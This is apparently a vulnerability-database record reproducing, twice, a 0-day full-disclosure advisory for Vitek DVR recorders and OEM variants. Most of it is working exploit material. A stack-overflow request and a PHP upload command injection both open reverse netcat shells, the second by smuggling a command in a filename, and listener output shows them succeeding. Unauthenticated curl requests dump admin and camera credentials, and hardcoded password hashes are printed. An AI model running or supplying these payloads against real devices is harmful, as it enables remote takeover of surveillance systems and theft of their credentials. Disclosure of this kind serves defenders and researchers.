VAR-201810-1619
Vulnerability from variot - Updated: 2022-05-17 01:46VitekVT-HDOC16BR is Vitek's all-in-one recorder for EX-SDI, TVI, AHD, CVI, IP and Analog (CVBS). There are remote code execution vulnerabilities and information disclosure vulnerabilities in VitekVT-HDOC16BR. An attacker could exploit this vulnerability to execute arbitrary remote code and obtain sensitive information in the context of an affected application. [STX]
Subject: Vitek RCE and Information Disclosure (and possible other OEM)
Attack vector: Remote Authentication: Anonymous (no credentials needed) Researcher: bashis (December 2017) PoC: https://github.com/mcw0/PoC Release date: December 22, 2017 Full Disclosure: 0-day
heap: Executable + Non-ASLR stack: Executable + ASLR
-[Manufacture Logo]- _ _ _ _ _ _ _ _ _ _ _ _ \ _ _ _ _ _ ___ / // \ |/ / __ / - _ ___ / / / / / / _ _ _ _/ / / _/ _ ___ ________
-[OEM (found in the code)]- Vitek (http://www.vitekcctv.com/) - Verified: VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R Thrive Wisecon Sanyo Inodic CBC Elbex Y3K KTNC
-[Stack Overflow RCE]-
[Reverse netcat shell]
$ echo -en "GET /dvrcontrol.cgi?nc\x24\x7bIFS\x7d192.168.57.1\x24\x7bIFS\x7d31337\x24\x7bIFS\x7d-e\x24\x7bIFS\x7dsh\x24\x7bIFS\x7d HTTP/1.0\r\nAuthorization Pwned: for((i=0;i<272;i++)); do echo -en "A";done\x80\x9a\x73\x02\xc8\x4a\x11\x20\r\n\r\n"|ncat 192.168.57.20 81
[Listener]
$ ncat -vlp 31337 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: E672 0A5B B852 8EF9 36D0 E979 2827 1FAD 7482 8A7B Ncat: Listening on :::31337 Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 192.168.57.20. Ncat: Connection from 192.168.57.20:36356.
pwd /opt/fw
whoami root exit $
Note: 1. Badbytes: 0x00,0x09,0x0a,0x0b,0x0c,0x0d,0x20 2. 0x20 will be replaced with 0x00 by the H4/H1/N1 binary, use this to jump binary included system() address: 0x00114AC8 [system() call in H4] 3. 0x02739A0C + 0x74 = $r11 address we need (0x2739A80) to point our CMD string on heap for system() in $r0
H1: VT-HDOC4E_Firmware_1.21A_UI_1.1.C.6 .rodata:005292E8 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0 .text:001CD138 SUB R3, R11, #0x74 .text:001CD13C MOV R0, R3 .text:001CD140 BL system
H4: VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R .rodata:00B945A0 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0 .text:00114AC8 SUB R3, R11, #0x74 .text:00114ACC MOV R0, R3 .text:00114AD0 BL system
N1: VT-HDOC8E_Firmware_1.21E_UI_1.1.C.6 .rodata:004A4AC4 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0 .text:001E9F0C SUB R3, R11, #0x74 .text:001E9F10 MOV R0, R3 .text:001E9F14 BL system
-[PHP RCE]-
Note: /mnt/usb2 must be mounted and R/W... (normally R/O w/o USB stick inserted)
[Reverse netcat shell (forking)]
$ curl -v 'http://192.168.57.20:80/cgi-bin/php/htdocs/system/upload_check.php' -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1337" -d "echo -en "\r\n\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n100000000\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"\|\|nc\$\{IFS\}\$\{REMOTE_ADDR\}\$\{IFS\}31337\$\{IFS\}-e\$\{IFS\}sh\$\{IFS\}\&\$\{IFS\}\|\|\"\r\nContent-Type: application/gzip\r\n\r\nPWNED\r\n\r\n------WebKitFormBoundary1337--\r\n\r\n"" -X POST
200 OK [...]
ERROR : Current_fw_info File Open Error
> ERROR : dvr_upgrade File Open Error
F/W File(||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}||) Upload Completed.
If you want to upgrade please click START button
[...]
[Listener]
$ ncat -vlp 31337 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 76D3 7FA3 396A B9F6 CCA6 CEA5 2EF8 06DF FF72 79EF Ncat: Listening on :::31337 Ncat: Listening on 0.0.0.0:31337 Ncat: Connection from 192.168.57.20. Ncat: Connection from 192.168.57.20:52726.
pwd /opt/www/htdocs/system
whoami nobody
ls -l /mnt/usb2/ total 4 drwxrwxrwx 2 nobody nobody 0 Dec 16 02:55 dvr -rw------- 1 nobody nobody 7 Dec 16 02:55 ||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}|| exit $
-[Login / Password Disclosure]-
curl -v "http://192.168.57.20:80/menu.env" | hexdump -C [binary config, login and password can be found for admin login and all connected cameras]
Admin l/p [...] 00001380 00 00 00 00 01 01 00 01 01 01 01 00 00 00 00 00 |................| 00001390 00 00 00 00 00 41 44 4d 49 4e 00 00 00 00 00 00 |.....ADMIN......| 000013a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00001400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 32 |..............12| 00001410 33 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |34..............| 00001420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Cameras l/p [...] 00008d80 00 00 00 00 c0 00 a8 00 01 00 15 00 92 1f 00 00 |................| 00008d90 91 1f 00 00 72 6f 6f 74 00 00 00 00 00 00 00 00 |....root........| 00008da0 00 00 00 00 70 61 73 73 00 00 00 00 00 00 00 00 |....pass........| 00008db0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00008dc0 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 a8 00 |................| 00008dd0 01 00 16 00 94 1f 00 00 93 1f 00 00 72 6f 6f 74 |............root| 00008de0 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 |............pass| 00008df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
-[Hardcode l/p]- FTP: TCP/10021 TELNET: TCP/10023
/etc/passwd root:$1$5LFGqGq.$fUozHRdzvapI2qBf1EeoJ0:0:0:root:/root:/bin/sh woody:$1$e0vY7A0V$BjS38SsHNWC5DxEGlzuEP1:1001:100:woohyun digital user:/home/woody:/bin/sh
-[Korean hardcoded DNS]- $ cat /etc/resolv.conf nameserver 168.126.63.1 nameserver 0.0.0.0 nameserver 0.0.0.0 $
$ nslookup 168.126.63.1 1.63.126.168.in-addr.arpa name = kns.kornet.net. $ nslookup 168.126.63.2 2.63.126.168.in-addr.arpa name = kns2.kornet.net.
-[Other Information Disclosure]- curl -v "http://192.168.57.20:80/webviewer/netinfo.dat" 192,168,57,20 192,168,2,100 00:0A:2F:XX:XX:XX 00:0A:2F:YY:YY:YY 255.255.255.0 192.168.57.1
-[MAC Address Details]- Company: Artnix Inc. Address: Seoul 137-819, KOREA, REPUBLIC OF Range: 00:0A:2F:00:00:00 - 00:0A:2F:FF:FF:FF Type: IEEE MA-L
curl -v "http://192.168.57.20:80/webviewer/gw.dat" Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 192.168.57.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 192.168.57.1 0.0.0.0 UG 0 0 0 eth0
curl -v "http://192.168.57.20:80/cgi-bin/php/lang_change.php?lang=0" Change GUI Language to English
[... and more]
[ETX]
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"data": "VitekVT-HDOC16BR is Vitek\u0027s all-in-one recorder for EX-SDI, TVI, AHD, CVI, IP and Analog (CVBS). There are remote code execution vulnerabilities and information disclosure vulnerabilities in VitekVT-HDOC16BR. An attacker could exploit this vulnerability to execute arbitrary remote code and obtain sensitive information in the context of an affected application. [STX]\n\nSubject: Vitek RCE and Information Disclosure (and possible other OEM)\n\nAttack vector: Remote\nAuthentication: Anonymous (no credentials needed)\nResearcher: bashis \u003cmcw noemail eu\u003e (December 2017)\nPoC: https://github.com/mcw0/PoC\nRelease date: December 22, 2017\nFull Disclosure: 0-day\n\nheap: Executable + Non-ASLR\nstack: Executable + ASLR\n\n-[Manufacture Logo]-\n _ _ _ _ _ _ _ _ _ _ _ _\n \\ _ _ _ _ _ ___\n / /__/ \\ |_/\n / __ / - _ ___\n / / / / / /\n _ _ _ _/ / / \\_/ \\_ ______\n___________\\___\\__________________\n\n\n-[OEM (found in the code)]-\nVitek (http://www.vitekcctv.com/) - Verified: VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R\nThrive\nWisecon\nSanyo\nInodic\nCBC\nElbex\nY3K\nKTNC\n\n\n-[Stack Overflow RCE]-\n\n[Reverse netcat shell]\n\n$ echo -en \"GET /dvrcontrol.cgi?nc\\x24\\x7bIFS\\x7d192.168.57.1\\x24\\x7bIFS\\x7d31337\\x24\\x7bIFS\\x7d-e\\x24\\x7bIFS\\x7dsh\\x24\\x7bIFS\\x7d HTTP/1.0\\r\\nAuthorization Pwned: `for((i=0;i\u003c272;i++)); do echo -en \"A\";done`\\x80\\x9a\\x73\\x02\\xc8\\x4a\\x11\\x20\\r\\n\\r\\n\"|ncat 192.168.57.20 81\n\n[Listener]\n\n$ ncat -vlp 31337\nNcat: Version 7.60 ( https://nmap.org/ncat )\nNcat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. \nNcat: SHA-1 fingerprint: E672 0A5B B852 8EF9 36D0 E979 2827 1FAD 7482 8A7B\nNcat: Listening on :::31337\nNcat: Listening on 0.0.0.0:31337\n\nNcat: Connection from 192.168.57.20. \nNcat: Connection from 192.168.57.20:36356. \n\npwd\n/opt/fw\n\nwhoami\nroot\nexit\n$\n\nNote:\n1. Badbytes: 0x00,0x09,0x0a,0x0b,0x0c,0x0d,0x20\n2. 0x20 will be replaced with 0x00 by the H4/H1/N1 binary, use this to jump binary included system() address: 0x00114AC8 [system() call in H4]\n3. 0x02739A0C + 0x74 = $r11 address we need (0x2739A80) to point our CMD string on heap for system() in $r0\n\nH1:\nVT-HDOC4E_Firmware_1.21A_UI_1.1.C.6\n.rodata:005292E8 aEchoSOptVideoS DCB \"echo %s \u003e /opt/video_standard\",0\n.text:001CD138 SUB R3, R11, #0x74\n.text:001CD13C MOV R0, R3\n.text:001CD140 BL system\n\nH4:\nVT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R\n.rodata:00B945A0 aEchoSOptVideoS DCB \"echo %s \u003e /opt/video_standard\",0\n.text:00114AC8 SUB R3, R11, #0x74\n.text:00114ACC MOV R0, R3\n.text:00114AD0 BL system\n\nN1:\nVT-HDOC8E_Firmware_1.21E_UI_1.1.C.6\n.rodata:004A4AC4 aEchoSOptVideoS DCB \"echo %s \u003e /opt/video_standard\",0\n.text:001E9F0C SUB R3, R11, #0x74\n.text:001E9F10 MOV R0, R3\n.text:001E9F14 BL system\n\n\n-[PHP RCE]-\n\nNote: /mnt/usb2 must be mounted and R/W... (normally R/O w/o USB stick inserted)\n\n[Reverse netcat shell (forking)]\n\n$ curl -v \u0027http://192.168.57.20:80/cgi-bin/php/htdocs/system/upload_check.php\u0027 -H \"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1337\" -d \"`echo -en \"\\r\\n\\r\\n------WebKitFormBoundary1337\\r\\nContent-Disposition: form-data; name=\\\"MAX_FILE_SIZE\\\"\\r\\n\\r\\n100000000\\r\\n------WebKitFormBoundary1337\\r\\nContent-Disposition: form-data; name=\\\"userfile\\\"; filename=\\\"\\|\\|nc\\$\\{IFS\\}\\$\\{REMOTE_ADDR\\}\\$\\{IFS\\}31337\\$\\{IFS\\}-e\\$\\{IFS\\}sh\\$\\{IFS\\}\\\u0026\\$\\{IFS\\}\\|\\|\\\"\\r\\nContent-Type: application/gzip\\r\\n\\r\\nPWNED\\r\\n\\r\\n------WebKitFormBoundary1337--\\r\\n\\r\\n\"`\" -X POST\n\n200 OK\n[...]\n\u003e ERROR : Current_fw_info File Open Error\u003cbr\u003e\u003e ERROR : dvr_upgrade File Open Error\u003cbr\u003eF/W File(||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}\u0026${IFS}||) Upload Completed.\u003cbr\u003eIf you want to upgrade please click START button\u003cbr\u003e\u003cbr\u003e\u003cform enctype=\"multipart/form-data\" action=\"fw_update.php\" method=\"post\"\u003e\u003cinput type=\"hidden\" name=\"PHPSESSID\" value=\"67eaa14441089e5d2e7fe6ff0fa88d42\" /\u003e\u003cinput type=\"submit\" value=\"START\"\u003e\u003c/form\u003e\t\u003c/tbody\u003e\n[...]\n\n[Listener]\n\n$ ncat -vlp 31337\nNcat: Version 7.60 ( https://nmap.org/ncat )\nNcat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. \nNcat: SHA-1 fingerprint: 76D3 7FA3 396A B9F6 CCA6 CEA5 2EF8 06DF FF72 79EF\nNcat: Listening on :::31337\nNcat: Listening on 0.0.0.0:31337\nNcat: Connection from 192.168.57.20. \nNcat: Connection from 192.168.57.20:52726. \n\npwd\n/opt/www/htdocs/system\n\nwhoami\nnobody\n\nls -l /mnt/usb2/\ntotal 4\ndrwxrwxrwx 2 nobody nobody 0 Dec 16 02:55 dvr\n-rw------- 1 nobody nobody 7 Dec 16 02:55 ||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}\u0026${IFS}||\nexit\n$\n\n-[Login / Password Disclosure]-\n\ncurl -v \"http://192.168.57.20:80/menu.env\" | hexdump -C\n[binary config, login and password can be found for admin login and all connected cameras]\n\nAdmin l/p\n[...]\n00001380 00 00 00 00 01 01 00 01 01 01 01 00 00 00 00 00 |................|\n00001390 00 00 00 00 00 41 44 4d 49 4e 00 00 00 00 00 00 |.....ADMIN......|\n000013a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n*\n00001400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 32 |..............12|\n00001410 33 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |34..............|\n00001420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n\nCameras l/p\n[...]\n00008d80 00 00 00 00 c0 00 a8 00 01 00 15 00 92 1f 00 00 |................|\n00008d90 91 1f 00 00 72 6f 6f 74 00 00 00 00 00 00 00 00 |....root........|\n00008da0 00 00 00 00 70 61 73 73 00 00 00 00 00 00 00 00 |....pass........|\n00008db0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n00008dc0 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 a8 00 |................|\n00008dd0 01 00 16 00 94 1f 00 00 93 1f 00 00 72 6f 6f 74 |............root|\n00008de0 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 |............pass|\n00008df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|\n\n-[Hardcode l/p]-\nFTP: TCP/10021\nTELNET: TCP/10023\n\n/etc/passwd\nroot:$1$5LFGqGq.$fUozHRdzvapI2qBf1EeoJ0:0:0:root:/root:/bin/sh\nwoody:$1$e0vY7A0V$BjS38SsHNWC5DxEGlzuEP1:1001:100:woohyun digital user:/home/woody:/bin/sh\n\n-[Korean hardcoded DNS]-\n$ cat /etc/resolv.conf\nnameserver 168.126.63.1\nnameserver 0.0.0.0\nnameserver 0.0.0.0\n$\n\n$ nslookup 168.126.63.1\n1.63.126.168.in-addr.arpa\tname = kns.kornet.net. \n$ nslookup 168.126.63.2\n2.63.126.168.in-addr.arpa\tname = kns2.kornet.net. \n\n\n-[Other Information Disclosure]-\ncurl -v \"http://192.168.57.20:80/webviewer/netinfo.dat\"\n192,168,57,20\n192,168,2,100\n00:0A:2F:XX:XX:XX\n00:0A:2F:YY:YY:YY\n255.255.255.0\n192.168.57.1\n\n-[MAC Address Details]-\nCompany: Artnix Inc. \nAddress: Seoul 137-819, KOREA, REPUBLIC OF\nRange: 00:0A:2F:00:00:00 - 00:0A:2F:FF:FF:FF\nType: IEEE MA-L\n\ncurl -v \"http://192.168.57.20:80/webviewer/gw.dat\"\nKernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1\n192.168.57.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0\n0.0.0.0 192.168.57.1 0.0.0.0 UG 0 0 0 eth0\n\ncurl -v \"http://192.168.57.20:80/cgi-bin/php/lang_change.php?lang=0\"\nChange GUI Language to English\n\n[... and more]\n\n[ETX]\n\n\n\n\n",
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.